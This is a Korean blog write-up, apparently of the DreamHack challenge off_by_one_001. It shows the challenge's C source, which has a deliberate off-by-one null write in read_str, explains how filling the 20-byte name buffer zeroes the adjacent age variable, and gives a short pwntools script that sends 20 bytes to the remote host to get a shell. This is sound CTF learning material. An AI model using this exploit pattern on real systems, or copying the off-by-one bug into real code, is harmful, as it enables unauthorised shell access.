CIDY
[System_Hacking] 문제풀이(off_by_one_001) 본문
// 32-bit, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
age를 0으로 맞추면 쉘을 준다. 배열과 int age가 붙어있기 때문에 배열의 [20]을 조작해 age를 0으로 맞출 수 있다. 그런데 마침 read_str함수에서 널을 넣어주는데 인덱스가 [len -1]이 아니고 [len]이다. → 꽉 채워주면 자동으로 해결
from pwn import *
p = remote("host1.dreamhack.games", 16328)
p.send(b"A" * 20)
p.interactive()
'Hack > DreamHack' 카테고리의 다른 글
[Reverse_Engineering] 문제풀이(rev-basic-1) (0) | 2022.07.16 |
---|---|
[Reverse_Engineering] 문제풀이(rev-basic-0) (0) | 2022.07.16 |
[System_Hacking] off_by_one_000 (0) | 2022.07.16 |
[System_Hacking] pwn-library (0) | 2022.07.16 |
[System_Hacking] iofile_vtable (0) | 2022.07.16 |